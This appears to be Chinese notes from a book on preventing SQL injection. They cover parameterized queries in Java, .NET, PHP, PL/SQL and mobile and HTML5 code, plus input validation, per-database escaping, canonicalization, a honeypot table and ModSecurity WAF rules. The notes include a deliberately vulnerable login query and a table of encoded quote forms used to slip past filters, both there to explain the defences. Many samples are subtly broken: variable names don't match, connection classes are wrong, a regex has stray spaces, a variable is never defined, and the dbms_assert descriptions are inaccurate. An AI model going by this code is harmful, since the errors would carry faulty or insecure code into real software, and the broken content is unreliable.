大多数现代编程语言和数据库访问API可以使用占位符或绑定变量来向SQL查询提供参数(而非直接对用户输入进行操作)。通常称之为参数化语句

虽然它们不会修改传递给数据库的内容,但如果正在调用的数据库功能在存储过程或函数的实现中使用了动态SQL,那么仍然可能出现SQL注入。Microsoft SQL Server和Oracle长期受该问题的困扰,因为它们之前附带安装了很多内置的易受SQL注入攻击的存储过程。

二次注入也可能实现

并不是所有的SQL语句都可以参数化。特别是只能参数化数据值,而不能参数化SQL标识符或关键字。

Username = request("username")
Password = request ("password")
Sql = "SELECT * FROM users WHERE username='" + Username + "'AND password='"+Password + "'"
Result = Db.Execute(Sql)
If (Result) /* successful login */ 

这是一段易受攻击代码,下面将会对它参数化

Java中的参数化语句

Java提供了JDBC框架(在java.sql和javax.sql命名空间中实现),作为独立于供应商的数据库访问方法。JDBC支持多种多样的数据库访问方法,包括通过PreparedStatement类来使用参数化语句。

Connection con = DriverManager.getConnection(connectionstring);
String sql = "SELECT * FROM users WHERE username=? AND password=?"; 
PreparedStatement lookupusers = con.prepareStatement(sql);
//将参数添加到SQL查询中
lookupUser.setstring (1,username);//在位置1添加字符串
lookupUser.setstring (2,password);//在位置2添加字符串
rs = lookupUser.executeQuery();

//添加参数时(通过使用不同的ser<type>函数,比如setString)指定了问号(?)占位符的编号位置(从1开始)

在J2EE应用中,除了使用Java提供的JDBC框架外,通常还可以使用附加的包来高效地访问数据库。常用的访问数据库的持久化框架为Hibernate。

除了可以使用固有的SQL功能和前面介绍的JDBC功能外,Hibernate还提供了自己的功能来将变量绑定到参数化语句。Query对象提供了使用命名参数(使用冒号指定,parameter) 或JDBC风格的问号占位符(?)的方法。

下面的例子展示了如何使用带命名参数的Hibernate:

string sql = "SELECT * FROM users WHERE username=:username AND" + "password=:password";
Query lookupUser = session.createQuery(sql);
//将参数添加到SQL查询中
lookupUsers.setstring("username",username);
// 添加 username
lookupUsers.setstring("password",password);
//添加 password
List rs = lookupUser.list();

接下来的例子展示了如何在Hibernate的参数中,使用JDBC风格的问号占位符。请注意, Hibernate从0开始而不是像JDBC那样从1开始对参数进行编号。因此,列表中的第一个参数为0,第二个为1

string sql = "SELECT * FROM users WHERE username=? AND password=?";
Query lookupUser = session.createQuery(sql);
//将参数添加到SQL查询中
lookupUser.setstring(0,username);   //添加username
lookupUser.setString(1,password);   //添加password
List rs = lookupUser.list();

.NET(C#)中的参数化语句

Microsoft .NET提供了很多不同的访问方式,它们使用ADO.NET框架来参数化语句。ADO.NET还提供了附加的功能,可以进一步检查提供的参数,比如对提交的数据执行类型检查等。

根据访问的数据库类型的不同,ADO.NET提供了4种不同的数据提供程序:用于Microsoft SQL Server 的 System.Data.SqlClient,用于 Oracle 数据库的 System.Data.OracleClient,以及分别用 于OLE DB和ODBC数据源的System.Data.OleDb和System.Data.Odbc

ADO.NET数据提供程序以及参数命名语法

数据提供程序 参数语法
System.Data.SqlClient @parameter
System.Data.OracleClient :parameter(只能位于参数化的SQL命令文本中)
System.Data.OleDb 带问号占位符(?)的位置参数
System.Data.Odbc 带问号占位符(?)的位置参数

使用SqlClient数据提供程序将其重写为.NET格式的参数化语句

SqlConnection con = new SqlConnection(Connectionstring);
string Sql = "SELECT * FROM users WHERE username=@username" + "AND password=@password";
cmd = new SqlCommand(Sql, con); 
//将参数添加到SQL查询中
cmd.Parameters.Add("@username",//参数名
                   SqlDbType.NVarChar,//数据类型
                   16);//长度
cmd.Parameters.Add("@password",
                   SqlDbType.NVarChar,
                   16);
cmd.Parameters.Value["@username"]=username;//设置参数
cmd.Parameters.Value["@password"]=password;//提供参数值
reader = cmd.ExecuteReader();

使用OracleClient数据提供程序重写的同一.NET格式的参数化语句。 在命令文本(SQL字符串)中的参数前面添加了冒号,而不是在代码的其他位置

SqlConnection con = new SqlConnection(Connectionstring);
string Sql = "SELECT * FROM users WHERE username=:username" + "AND password=:password";
cmd = new SqlCommand(Sql, con); 
//将参数添加到SQL查询中
cmd.Parameters.Add("username",//参数名
                   SqlDbType.NVarChar,//数据类型
                   16);//长度
cmd.Parameters.Add("password",
                   SqlDbType.NVarChar,
                   16);
cmd.Parameters.Value["username"]=username;//设置参数
cmd.Parameters.Value["password"]=password;//提供参数值
reader = cmd.ExecuteReader();

使用OleDbClient数据提供程序重写的同一.NET格式的参数化语句。 使用OleDbClient或OleDb数据提供程序时,必须按照正确的问号占位符顺序来添加参数

SqlConnection con = new SqlConnection(Connectionstring);
string Sql = "SELECT * FROM users WHERE username=? + "AND password=?";
cmd = new SqlCommand(Sql, con); 
//将参数添加到SQL查询中
cmd.Parameters.Add("@username",//参数名
                   SqlDbType.NVarChar,//数据类型
                   16);//长度
cmd.Parameters.Add("@password",
                   SqlDbType.NVarChar,
                   16);
cmd.Parameters.Value["@username"]=username;//设置参数
cmd.Parameters.Value["@password"]=password;//提供参数值
reader = cmd.ExecuteReader();

PHP中的参数化语句

PHP同样包含很多用于访问数据库的框架。本节介绍三种最常见的框架:访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PHP Data Object, PDO)框架,它们均为使用参数化语句提供了便利。

mysqli包适用于PHP 5.x,可以访问MySQL 4.1及之后的版本。通过使用问号占位符来支持参数化语句。下面的例子展示了一条使用mysqli包的参数化语句

$con = new mysqli("localhost", "username", "password", "db");
$sql = "SELECT * FROM users WHERE username=? AND password=?";
$cmd = $con->prepare($sql);
//将参数添加到SQL查询中
$cmd->bind_param("ss", $username,$password) ;
//将参数作为字符串绑定
$cmd->execute();

当在PHP中使用PostgreSQL数据库时,PHP 5.1.0引入了一个简单的方法以便使用参数化的查询语句。该方法名为pg_query_params(),它允许开发人员在同一行代码内提供SQL查询 和参数

$result = pg_query_params("SELECT * FROM users WHERE username=$1 AND password=$2", Array($username,$password));

PEAR::MDB2包是一种被广泛使用且独立于供应商的数据库访问框架,MDB2支持使用冒号字符的命名参数和问号占位符两种方式来定义参数。

$mdb2 = & MDB2::factory($dsn);
$sql = "SELECT * FROM users WHERE username=? AND password=?";
$types = array ('text','text') ;//设置数据类型
$cmd = $mdb2->prepare($sql,$types,MDS2_PREPARE_MANIP);
$data = array ($username,$password);//要传递的参数
$result = $cmd->execute($data);

PDO包含在PHP 5.1及之后的版本中。它是一个面向对象且独立于供应商的数据层,用于访问数据库。PDO既支持使用冒号字符的命名参数,也支持使用问号占位符定义的参数

$sql = "SELECT * FROM uses WHERE username=:username AND"+"password=:password";
$stmt = $dbh->prepare($sql);
//绑定值和数据类型
$stmt->bindParam(':username', $username,PDO::PARAM_STR,12);
$stmt->bindParam(':passeord',$password,PDO::PARAM_STR,12); $stmt->execute();

PL/SQL中的参数化语句

Oracle PL/SQL同样支持在数据库层代码中使用参数化查询。PL/SQL支持使用带编号的冒号字符(例如:1)来绑定参数。使用带绑定参数的PL/SQL在匿名的 PL/SQL块中构造参数化语句:

DECLARE username varchar2(32);
password varchar2(32);
result integer;
BEGIN Execute immediate * SELECT count (*) FROM users where username=:1 and password=:2' into result using username, password;
END;

移动应用中的参数化语句

基于iOS和Android的设备都具有内建于设备(in-device)的数据库支持,并提供了创建、更新和查询这些数据库的API。

iOS应用程序中的参数化语句

对于iOS系统,用于开发应用的API通过SQLite库libsqlite3.dylib支持SQLite。如果直接使用SQLite(而不是通过Apple框架Core Data),那么最流行的框架是FMDB。使用FMDB框架时,可以使用executeUpdate()方法构建参数化的insert语句:

[db executeUpdate:@"INSERT INTO artists (name) VALUES (?)",@"Sinead O'Connor"];

与之类似,如果想查询数据库,可以使用executeQuery()方法:

FMResultSet *rs = [db executeQuery:@"SELECT * FROM songs WHERE artist=?",@"Sinead O'Connor"];

Android应用程序中的参数化语句

Android设备也包含了用于访问SQLite数据库子系统的AM。该API支持参数化语句,开发人员可以分别提供查询和数据。

对于insert语句,可以使用SQLiteStatement类:

statement = db.compileStatement("INSERT INTO artists (name) VALUES (?)");
statement.bind(1, "Sinead O'Connor");
statement.executeInsert();

当查询数据库时,只须在SQLite-Database对象上直接使用query()

db.query("songs",
new String[ ] { "title" } /* columns to return */, "artist = ?" /* where clause */,
new String [ ] { "Sinead O'Connor" } /* parameters to bind */,
null /* group by */,
null /* having */,
null /* order by */
);

HTML5浏览器存储中的参数化语句

在HTML5标准中可以使用两种类型的存储——Web SQL Database规范和Web Storage规范。该规范中包含了一个简单的方法用于创建参数化查询,即使用executeSql())方法

t.executeSql('SELECT * FROM songs WHERE artist=? AND song=?', [artist, songName], function(t, data) {
//对数据执行某些操作
});

在上面的代码中,t代表事务(transaction), SQL语句将在该事务中执行。在SQL语句中使用问号作为占位符,并提供了一个参数数组,该数组中元素的顺序就是这些参数应用于SQL 语句的顺序。最后一个参数是回调函数,用于处理从数据库返回的数据。

Web Storage规范则使用setltem()、getltem()和removeltem()等方法,提供了一种简单的键/值对的存储方式。在该规范中并没有通过字符串连接来构建语句的查询语言,因此类似于SQL 注入这样的攻击对Web Storage无效。

输入验证

输入验证是指测试应用程序接收到的输入,以保证其符合应用程序中标准定义的过程。它可以简单到将参数限制成某种类型,也可以复杂到使用正则表达式或业务逻辑来验证输入。

白名单验证(有时称为包含验证或正验证)和黑名单验证(有时称 为排除验证或负验证)。

白名单

白名单验证是只接收已记录在案的良好输入的操作。

要点:

输入的数据是否在白名单规则内

数据类型是否满足

数据大小是否正确

数据范围

数据内容

实现内容验证的常用方法是使用正则表达式。

#验证字符串中是否包含美国邮政编码:
^\d{5}(-\d{4})?$

该正则表达式按下列规则匹配5位和5位加4位的邮政编码:

^\d{5}:准确匹配字符串开头的5位数字

(-\d{4})?:准确匹配可能存在(出现)或完全不存在(未出现)的破折号字符加4位数字。

$:出现在字符串末尾。如果字符串末尾包含附加的内容,正则表达式将不匹配。

设计输入验证和处理策略

  • 在应用程序输入层使用白名单输入验证以便验证所有用户输入都符合应用要接 收的内容。应用只允许接收符合期望格式的输入。

  • 在客户端浏览器上同样执行白名单输入验证,这样可以防止为用户输入不可接 收的数据时服务器和浏览器间的往返传递。不能将该操作作为安全控制手段,因为攻击者可以修改来自用户浏览器的所有数据。

  • 在Web应用防火墙(WAF)层使用黑名单和白名单输入验证(以漏洞“签名”和“有 经验”行为的形式)以便提供入侵检测/阻止功能和监视应用攻击。

  • 在应用程序中自始自终地使用参数化语句以保证执行安全的SQL执行。

  • 在数据库中使用编码技术以便在动态SQL中使用输入时安全地对其编码。

  • 在使用从数据库中提取的数据之前恰当地对其进行编码。例如,将浏览器中显示的数据针对跨站脚本进行编码。

用已知值进行检验

将输入值与一个有效值的列表进行比较,如果输入值不在列表中,就拒绝该输入,这是一种强大但常常未被充分利用的检验输入值的方法。通过将值与一个列表进行比较,可以完全控制可能的输入值以及输入可能通过的代码路径。

间接输入(input indirection)是另一种用已知值进行检验的方法。在这种方法中,服务器端并不接收直接来自客户端的值,客户端呈现一个允许值的列表,并向服务器端提交选中值的索引。

黑名单

黑名单验证是只拒绝己记录在案的不良输入的操作,它通过浏览输入的内容来查找是否存在己知的不良字符、字符串或模式。

在使用黑名单的同时结合使用输出编码以保证对传递到其他位置(比如,传递给数据库)的输入进行附加检查,从而保证能正确地处理该输入以防止SQL注入。

Java中的输入验证

Java中的输入验证支持专属于正在使用的框架。

定义一个输入验证类,该类实现了javax.faces.validator.Validator接口

请参考下列代码片段并将其作为验证JSF(Java Server Faces, JSF)中用户名的例子

public class UsernameValidator implements Validator {
public void validate(FacesContext facesContext,
UIComponent uIComponent, Object value) throws ValidatorException{
//获取用户名并转换为一个字符串
String username = (String)value;
//建立正则表达式
Pattern p = Pattern.compile ("^[a-zA-z] {8, 12}$");
//匹配用户名
Matcher m = p.matcher(username);
if (!matchFound) {
FacesMessage message = new FacesMessage();
message.setDetail("Not valid - it must be 8-12 letter only");
message.setSummary("Username not valid");
message.setseverity(FacesMessage.SEVERITY_ERROR);
throw new ValidatorException(message);
}
}

需要将下列内容添加到faces-config.xml文件中以便启用上述验证器

<validator>
<validator-id>namespace.UsernameValidator</validator-id>
<validator-class>namespace.package.UsernameValidator</validatorclass>
</validator>

接下来可以在相关的JSP文件中引用在faces-config.xml文件中添加的内容

<h:inputText value="username" id="username"
required="true"><f:validator
validatorId="namespace.UsernameValidator" />
</h:inputText>

在Java中实现输入验证时,还有一种很有用的资源OWASP ESAPI(Enterprise Security API),包括org.owasp.esapi.reference.DefaultValidator输入验证类的实现,可以直接使用它,也可以将它作为自定义输入验证引擎的参考实现。

.NET中的输入验证

ASP.NET提供了Regular-Expression Validator控件和Custom Validator控件,执行客户端验证。

下列代码是使用RegularExpressionValidator验证用户名的例子,用户名中只能包含字母(大写和小写)并且总长度必须介于8到12个字符之间。

&ltasp:textbox id="userName" runat="server"/>
&ltasp:RegularExpressionValidator id="usernameRegEx" runat="server" ControlToValidate="userName"
ErrorMessage="Username must contain 8 - 12 letters only."
ValidationExpression="^[a-zA-Z]{8,12}$" />

接下来的代码片段是使用CustomValidator验证口令是否为正确格式的例子。创建两个用户定义函数PwdValidate位于服务器上,负责对口令值进行验证;ClientPwdValidate位于客户端的JavaScript或VBScript中,负责对用户浏览器上的口令值进行验证。

&ltasp:textbox id= "txt Pas sword" runat="server"/>
&ltasp:CustomValidator runat="server" ControlToValidate="txtPassword"
ClientValidationFunction="ClientPwdValidate"
ErrorMessage="Password does not meet requirements."
OnServerValidate="PwdValidate" />

PHP中的输入验证

PHP不直接依赖于表示层,因而PHP中的输入验证支持属于所使用的框架。许多PHP应用程序直接在代码中实现输入验证。

可以使用PHP中的很多函数作为构造输入验证的基本构造块,包括:

  • preg_match(regex,matchstring):使用正则表达式regex对 matchstring执行正则表达式匹配。

  • is_<type>(input):检查输入是否<type>,例如 is_numeric()。

  • strlen(input):检查输入的长度。

使用preg_match验证表单参数:

$username = $_POST['username'];
if (!preg_match("/^[a-zA-Z] {8, 12}$/D", $username) {
//处理验证失败的情况
}

在移动应用程序中检验输入

移动应用程序中的数据既可以存储在远程服务器上,也可以存储在本地的应用中。对于这两种情况都需要在本地检验输入。对于远程存储的数据,需要在远程服务器端对输入进行检查。

可以采用两种方式对输入搜索(in-device input)的输入数据进行检验。可以使用一种仅支持我们所期望数据类型的输入域类型(field type),比如使用仅支持输入数字的输入域。另外也可以订阅输入域的change事件,当接收到无效输入时由事件处理程序进行处理。Android支持输入过滤器(input filter)的概念,它可以将一个或多个InputFilter的实现自动地应用于数据,并且可以拒绝无效的输入。

在HTML5中检验输入

在开发HTML5应用程序时,数据可以存储在Web浏览器的本地存储中,也可以存储在承载HTML5Web应用程序的远程Web服务器上。对于存储在浏览器本地存储中的数据,可以使用JavaScript检验数据,或者使用HTML5提供的新类型的<input>输入域进行检验。这些<input>输入域支持required属性,该属性指示浏览器检查在该输入域中必须具有输入值。此外,还支持pattern属性,允许开发人员设置一个正则表达式,输入的数据必须满足该正则表达式的约束:

<input type="text" required= "required" pattern:"^[0-9] {4}...

如果客户端应用程序正把数据发送回服务器端的应用程序, 那么服务器端代码必须总是重新检验它从HTML5应用程序中接收到的输入数据。

编码输出

编码发送给数据库的内容

有时白名单过滤并不能完全,可能还会动态拼接产生SQL注入,对于无法或不适合使用参数化语句的情况,有必要对发送给数据库的数据进行编码(或引用)

针对Oracle的编码

Oracle使用单引号作为字符串的结束符,因而有必要对包含在字符串(动态SQL中将包含该字符串)中的单引号进行编码。

在Oracle中,可以通过使用两个单引号替换单个单引号的方法来实现编码目的。

sql = sql.replace("'","''")

由于在PL/SQL中需要为单引号添加引用符(因为它是字符串结束符),因而在PL/SQL中需要使用两个单引号来替换单个单引号。

sql = replace(sql, '''','''''''');
sql = replace(sql, CHR(39), CHR(39)||CHR(39));

对LIKE字句的通配符转义

SELECT * from users WHERE name LIKE 'a%'
-- 易受攻击。返回所有以"a'字符开头的用户
SELECT * from users WHERE name LIKE 'a\%' ESCAPE '\'
-- 不容易受攻击,返回用户'a%',如果存在一个这样的用户的话
'
-- 使用ESCAPE子句时,可以指定任何单个字符作为转义字符

“q”引用,采用 q’[QUOTE CHAR]string[QUOTE CHAR]’格式。引用字符(quote character)可以是任何未出现在字符串中的单个字符

q'(5%)'

如果无法使用参数化查询,就应该使用dbms_assert包来执行输入验证。dbms_assert提供了7个不同的函数(ENQUOTE_LITERAL、ENQUOTE_ NAME、NOOP、QUALIFIED_SQL_NAME、 SCHEMA_NAME、SIMPLE_SQL_NAME和SQL_OBJECT_NAME)来验证不同类型的输入。

一个未使用dbms_assert的非安全查询(FIELD、OWNER和TABLE中存在SQL注入):

execute immediate 'select'|| FIELD ||'from'|| OWNER ||'.'|| TABLE;

下面是相同的查询,不过使用了dbms_assert进行输入验证:

execute immediate 'select ' ||sys.dbms_assert.SIMPLE_SQL_NAME(FIELD) || 'from' ||sys.dbms_assert.ENQUOTE_NAME
(sys.dbms_assert.SCHEMA_NAME(OWNER),FALSE)
||'.'||sys.dbms_assert.QUALIFIED_SQL_NAME(TABLE);

dbms assert 函数

函 数 描 述
DBMS_ASSERT.SCHEMA_NAME 该函数检查传递的字符串是否为数据库中存在的对象
DBMS_ASSERT.SIMPLE_SQL_NAME 该函数检查SQL元素中是否只包含A-Z、a-z、0-9、$、 #和_这样的字符。如果使用双引号来引用参数,那么允许使用除双引号之外的所有字符
DBMS_ASSERT.SQL_OBJECT_NAME 该函数检查传递的字符串是否为数据库中存在的对象
DBMS_ASSERT.QUALIFIED_SQL_NAME 该函数与SIMPLE_SQL_NAME非常类似,不过它还允许数据库连接
DBMS_ASSERT.ENQUOTE_LITERAL 该函数使用双引号来引用传递的参数。如果参数已被引用,就不做任何事情
DBMS_ASSERT.ENQUOTE_NAME 如果未使用单引号引用用户提供的字符串,那么该函数会使用单引号来引用它
针对MS-SQL的编码

MS-SQL使用单引号作为字符串的结束符,因而有必要对包含在字符串(动态SQL中将包含该字符串)中的单引号进行编码。

在MS-SQL中,可以通过使用两个单引号替换单个单引号的方法来实现编码目的。

sql = sql.replace("'","''")

由于在Transact-SQL中需要为单引号添加引用符(因为它是字符串结束符),因而在Transact-SQL中需要使用两个单引号来替换单个单引号。

SET @enc = replace(@input,'''','''''''')
//使用字符编码表示上述内容逻辑性会更强,也更加清楚:
SET @enc = replace(@input, CHAR(39), CHAR(39) + CHAR(39));

对LIKE字句的通配符转义

sql = sql.Replace("[","[[]");
sql = sql.Replace("%","[%]");
sql = sql.Replace("_","[_]");

SELECT * from users WHERE name LIKE 'a%'
-- 易受攻击。返回所有以"a'字符开头的用户
SELECT * from users WHERE name LIKE 'a\%' ESCAPE '\'
-- 不容易受攻击,返回用户'a%',如果存在一个这样的用户的话
'
-- 使用ESCAPE子句时,可以指定任何单个字符作为转义字符
针对MySQL的编码

由于MySQL使用单引号作为字符串字面量的结束符,因而有必要对包含在字符串(动态SQL中将包含该字符串)中的单引号进行编码。

在MySQL中,使用两个单引号替换单个单引号来实现编码目的,也可以使用反斜线()来引用单引号。

sql = sql.replace("'","\'")

PHP还提供了mysql_real_escape()函数。该函数会自动使用反斜线来引用单引号及其他具有潜在危害的字符,例如0x00(NULL)、换行符(\n)、回车符(\r)、双引号(“)、反斜线() 和 Ox1A(Ctrl+Z)

mysql_real_escape_string($user);

由于需要为单引号添加引用符(因为它是字符串结束符),因而在存储过程代码中需要使用两个单引号来替换单个单引号。

SET @sql = REPLACE(@sql,'\'','\\\'')
//使用字符编码表示上述内容逻辑性会更强,也更加清楚:
SET @enc = REPLACE(@input, CHAR(39) , CHAR(92, 39));

对LIKE字句的通配符转义

sql = sql.replace("%","\%"); 
sql = sql.replace("_","\_");
针对PostgreSQL的编码

PostgreSQL也使用单引号作为字符串字面量的结束符,可以采用两种办法对单引号进行编码。

第一种方法使用两个单引号替换一个单引号。

$encodedValue = str_replace("'","''",$value);

第二种办法是使用一个反斜线对单引号进行编码,但PostgreSQL还需要在字符串字面量之前放置一个大写的E字母

SELECT * FROM User WHERE LastName=E'O\'Boyle'

在PHP中,可以使用add_slashes()或str_replace()方法对反斜线执行编码。在PHP中,对于PostgreSQL数据库而言,最佳的字符串编码方式是使用pq_escape_string()方法:

$encodedValue = pg_escape_string($value);

该函数将调用libpq的PQescapeString()方法,它将把单反斜线替换为双反斜线,并且用两个单引号替换一个单引号

在PostgreSQL中还可以采用其他办法创建字符串字面量,即使用$字符。$字符允许开发人员在SQL语句中使用类似于标记(tag-like)的功能。下面就是一个使用这种语法创建的字符串:

SELECT * FROM User WHERE LastName=$quote$O'Boyle$quote$

在这种情况下,对于用户输入的任何一个$字符,都需要确保使用一个反斜线进行转义处理:

$encodedValue = str_replace("$","\\$", $value);
防止NoSQL注入

在NoSQL的查询API中,绝大多数方法都提供了将数据与代码清晰分离的方法。例如,当从PHP中使用MongoDB时,典型的方法是使用关联数组(associative array)插入数据:

$users->insert(array("username"=> $username, "password" => $password))

查询则如下所示:

$user = $users->findOne(array("username" => $username))

当使用这些API时,由于避免了使用字符串连接来构造查询,因此防止了注入攻击。

对于更高级的查询,MongoDB允许开发人员使用$where关键字提交一个JavaScript函数:

$collection->find(array("\$where" => "function(){ return this.username.indexOf('$test') > -1 }"));

该JavaScript函数很容易遭到注入攻击。攻击者可以转义indexOf()内的字符串,并改变查询执行的方式。为了防止这种攻击,我们必须对JavaScript进行编码。使用十六进制的\xnn编码类型,或使用\unnnn类型的Unicode编码,对所有非字母或数字的字符全部进行转 义,这是最安全的办法。

规范化

避开输入验证和输出编码的常用技术是:在将输入发送给应用程序之前对其进行编码,之后再对其进行解码和解释以符合攻击者的目标。

单引号的例子

表示 编码类型
%27 URL编码
%2527 双URL编码
%%317 嵌套的双URL编码
%u0027 Unicode 表示
%u02b9 Unicode 表示
%ca%b9 Unicode 表示
&apos HTML实体
&#39 十进制HTML实体
&#x27 十六进制HTML实体
%26apos 混合的URL/HTML编码

规范化是指将输入简化成标准或简单的形式,例如变成单引号

规格化方法

  • 拒绝所有不符合格式的输入,例如利用白名单拒绝所有编码输入
  • 对输入多次解码,或者解码一次,若还需解码就抛弃
适用于Unicode的方法

遇到像UTF-8这样的Unicode输入时,一种方法是将输入标准化(normalization)。该方法使用定义好的规则集将Unicode转换成最简单的形式。将双倍宽度及其他的Unicode编码在它们所处的位置转换成各自的ASCII 等价形式。

使用Java中的Normalizer类(Java 6及以上版本)来将输入标准化

normalized = Normalizer.normalize(input,Normalizer.Form.NFKC);

使用C#中String类的Normalize方法来将输入标准化

normalized = input.Normalize(NormalizationForm.FormKC);

使用PHP中PEAR库的PEAR::I18N_UnicodeNormalizer包来将输入标准化

$normalized = I18N_UnicodeNormalizer::toNFKC($input, 'UTF-8');

还有一种方法是首先检查Unicode是有效的,然后将数据转换成一种可预见的格式,例如像ISO-8859-1这样的西欧字符集。

用于解析UTF-8的正则表达式

正则表达式 描 述
[x00-\x7F] ASCII
[\xC2-\xDF][\x80-\xBF] 双字节表示
\xE0[\xA0-\xBF][\x80-\xBF] 双字节表示
[\xEl-\xEC\xEE\xEF][\x80-\xBF] {2} 三字节表示
\xED [\x80-\x9F][\x80-\xBF] 三字节表示
\xFO [\x90-\xBF][\x80-\xBF] {2} plane 1 至ij 3
[\xF 1 -\xF3][\x80-\xBF] {3} panel 4 到 15
\xF4 [\x80-\x8F][\x80-\xBF] {2} panel 16

检查完输入是有效的格式后,现在可以将它转换成可预见的格式。

在Java中,可以使用CharsetEncoder类或比较简单的getBytes()方法(Java 6及之后的版本)

string ascii = utf8.getBytes("ISO-8859-1");

在C#中,可以使用Encoding.Converter类

byte[] asciiBytes = Encoding.Convert(Encoding.UTF8,Encoding.ASCII,utf8Bytes);

在PHP中,可以使用utf8_decode

ascii = utf8_decode($utf8string);

通过设计来避免SQL注入的危险

使用储存过程

在大多数数据库中使用存储过程时都可以在数据库层配置访问控制。通过正确配置许可权限来保证攻击者无法访问数据库中的敏感信息。

使用抽象层

表示、业务逻辑和数据访问定义不同的层,从而将每一层的实现从总体设计中抽象出来。

处理敏感数据

考虑数据库中敏感信息的存储和访问。

口令:如果可能的话,不应该在数据库中存储用户口令。比较安全的做法是存储每个用户口令的加盐(salted)单向哈希(使用SHA256这样的安全哈希算法)而不是口令本身。

信用卡及其他财务信息:应该使用认可的(比如FIPS认证过的)加密算法来对信用卡等信息进行加密,然后存储加密后的明细数据。

存档:如果未要求应用程序保存提交给它的所有敏感信息(例如个人可识别的信息)的完整历史记录,就应考虑每隔一段合理的时间就存档或清除这些不需要的信息。

避免明显的对象名

为关键对象(比如加密函数、口令列和信用卡列)选取名称时应该 格外小心,不要选取易被拆解的名字,如passwd

创建honeypot(蜜罐)

如果希望在有人尝试从数据库读取口令时收到警告,可以创建一种带password列(包含假数据)的附加honeypot(蜜罐)表。如果假数据被选中,那么应用管理员将会收到一封e-mail。

在 Oracle中,可以使用虚拟专用数据库(Virtual Private Database, VPD)来实现

--创建蜜罐表
create table app_user.tblusers (is number, name varchar2(30), password varchar2 (30);
--创建向管理员发送e-mail的策略函数
--必须用另外一个模式来创建该函数,比如secuser
create or replace secuser.function get_cust_id
p_schema in varchar2,
p_table in varchar2
)
return varchar2
as
v_connection UTL_SMTP.CONNECTION;
begin
v_connection := UTL_SMTP.OPEN_CONNECTION('mailhost.victim.com',25);
UTL_SMTP.HELO(v_connection,'mailhost.victim.com');
UTL_SMTP.MAIL(v_connection,'app@victim.com');
UTL_SMTP.RCPT(v_connection,'admin@victim.com');
UTL_SMTP.DATA(v_connection,'WARNING! SELECT PERFORMED ON HONEYPOT'); 
UTL_SMTP.QUIT(v_connection);
return '1=1' ;--总是显示整个表
end;
/
--将策略函数赋值给蜜罐表TBLUSERS
exec dbms_rls.add_policy (
'APP_USER',
'TBLUSERS',
'GET_CUST_ID',
'SECUSER',
'',
'SELECT, INSERT, UPDATE, DELETE');

附加的安全开发资源

平台层防御

使用运行时保护

Web应用防火墙

Web应用防火墙(WAF)是一种网络设备或是一种将安全特性添加到Web应用的基于软件的解决方案。

基于软件的WAF通常是一些以最小化配置嵌入到Web服务器或应用程序中的模块,它们的主要好处是Web基础结构仍保持不变,并且能够无缝地处理HTTP/HTTPS通信,因为它们运行在承载Web或应用程序的进程中。

WAF 的事实标准是开源的 ModSecurity.ModSecurity被开发成 Apache的一个模块。如果将Apache Web服务器配置成反向代理,那么ModSecurity实际上可以保护任何Web应用,可以使用ModSecurity来实现攻击预防、监控、入侵检测和一般的应用程序加固。

我们将使用ModSecurity作为主要的例子来介绍使用WAF时在检测并预防SQL注入方面的主要特征。

可配置规则集

WAF必须高度可配置才能适应各种不同的情况。

ModSecurity的威力在于它的规则语言上,这种语言是配置指令和应用到HTTP请求和响应的一种简单编程语言的组合。ModSecurity的SecRule 指令的通用语法,如下所示:

SecRule VARIABLE OPERATOR [ACTIONS]

VARIABLE属性告诉ModSecurity到哪里访问请求或响应,OPERATOR属性告诉ModSecurity如何检查数据,ACTIONS属性确定出现匹配时做哪些操作。ACTIONS属性是可选的规则选项, 它可以定义默认的全局动作。

ModSecurity核心规则集(ModSecurity Core Rule Set)的 Generic Attacks 规则文件(modsecurity_crs_40_generic_attacks.conf)中的一条实际的黑名单SQL注入规则

<Location /apps/script.php>
SecRule &ARGS "!@eq 1"
SecRule ARGS_NAMES "!Astatid$"
SecRule ARGS:statID "!^\d{1,3}$"
</Location>
请求覆盖范围

攻击有效载荷可以出现在HTTP请求的任何位置,比如查询字符串、POST数据、cookie、自定义的或是标准的HTTP头(例如,Referer, Server等),以及URL路径的部分内容中。ModSecurity能够处理所有这些情况。下面列出了 ModSecurity支持的变量列表

REQUEST BASENAME
REQUEST BODY
REQUEST BODY LENGTH
REQUEST COOKIES
REQUEST COOKIES NAMES
REQUEST FILENAME
REQUEST HEADERS
REQUEST HEADERS NAMES
REQUEST LINE
REQUEST METHOD
REQUEST PROTOCOL
REQUEST URI
REQUEST URI RAW
请求标准化

ModSecurity能够应对任何复杂的编码场景。它支持大量转换函数,可以将这些函数按任意顺序多次应用到每条规则上。下面列出了 ModSecurity参考手册中的转换函数

base64Decode
base64DecodeExt
base64Encode
cmdLine
compressWhitespace
cssDecode
escapeSeqDecode
hexDecode
hexEncode
htmlEntityDecode
jsDecode
length
lowercase
md5
none
normalisePath
normalisePathwin
parityEven7bit
parityodd7bit
parityzero7bit
removeNulls
removeWhitespace
replaceComments
removeCommentsChar
removeComments
replaceNulls
urlDecode
urlDecodeUni
urlEncode
sha1

如果内置函数因为某个原因无法满足需求,可以使用ModSecurity支持的Lua脚本语言来构建自定义的转换函数。

响应分析

抑制关键信息泄露,比如详细的SQL错误消息。

ModSecurity核心规则集的Outbound规则文件(modsecurity_ crs_50_ outbound.conf)中的一条实际的带外(outbound)规则

如果响应中的消息成功匹配了正则表达式(表明产生了SQL错误),ModSecurity可以做出适当的响应,比如禁止将错误返回给攻击者,或者提供替换的错误编码或错误消息以迷惑自动客户端和扫描器。

入侵检测能力

WAF应该可以被动监视应用的行为,遇到可疑的行为时能采用行动,并能在SQL注入事件之后为取证分析(forensic analysis)保持一个不可否认的事件日志。

使用ModSecurity可以阻止SQL注入攻击、修复已知的SQL注入漏洞、检测攻击企图并抑制那些通常会为SQL注入漏洞利用提供便利的SQL错误消息。

截断过滤器

过滤器是WAF的独立模块,可添加新过滤器

过滤器适合执行跨请求和响应(与核心应用逻辑是松耦合)的集中的、可重复的任务。过滤器还适用于输入验证、将请求/响应记录到日志以及转换输出响应等安全功能。

Web服务器过滤器

可以将过滤器实现成Web服务器模块/插件,它们能对核心请求和响应进行扩展以便处理 Web服务器平台的API。Apache、 Netscape(Oracle/Sun)、IIS(Intemet信息服务)等流行的Web服务器平台均支持这种架构。

ModSecurity是一种能够提供相当多的SQL注入保护的Apache API模块。UrlScan和WebKnight,它们是集成到IIS Web服务器平台的ISAPI过滤器,能够提供SQL注入保护。

应用程序过滤器

